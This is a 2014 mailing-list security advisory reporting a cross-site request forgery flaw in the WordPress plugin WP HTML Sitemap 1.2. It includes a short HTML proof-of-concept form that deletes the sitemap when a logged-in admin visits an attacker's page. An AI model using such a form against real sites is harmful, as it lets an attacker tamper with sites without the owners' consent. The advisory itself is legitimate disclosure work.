full-disclosure - [FD] CSRF vulnerability in WP HTML Sitemap 1.2 (WordPress plugin)

Open Source and information security mailing list archives

Message-ID: <53356D87.2040403@dxw.com>
Date: Fri, 28 Mar 2014 12:39:35 +0000
From: Harry Metcalfe <harry@....com>
To: fulldisclosure@...lists.org
Subject: [FD] CSRF vulnerability in WP HTML Sitemap 1.2 (WordPress plugin)

Details
================
Software: WP HTML Sitemap
Version: 1.2
Homepage: http://wordpress.org/plugins/wp-html-sitemap/
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF vulnerability in WP HTML Sitemap 1.2

Vulnerability
================
A CSRF vulnerability exists which allows an attacker to delete the 
sitemap if a logged-in admin user visits a link of the attacker’s choosing.
Line 202 of inc/AdminPage.php says “// check whether form was just 
submitted” but the following if/elseif statements only check whether a 
particular button was pressed without checking nonce values. The form in 
question is printed in wp_html_sitemap_AdminPage::createSitemapForm() 
around line 146 of the same file.

Proof of concept
================
This form deletes the sitemap without requiring a nonce value:
<form 
action="http://not-a-real-site.local/wp-admin/options-general.php?page=wp-html-sitemap&tab=general" 
method="POST">
<input type="text" name="deleteSitemap" value="Delete Sitemap">
<input type="submit">
</form>

Mitigations
================
Disable the plugin until a fix is available.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you 
received it via a third party (for example, plugins@...dpress.org) as 
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not 
receive a response to this report with 14 days.

Timeline
================

2014-02-21: Discovered
2014-02-26: Reported
2014-03-28: No response received. Published

Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.

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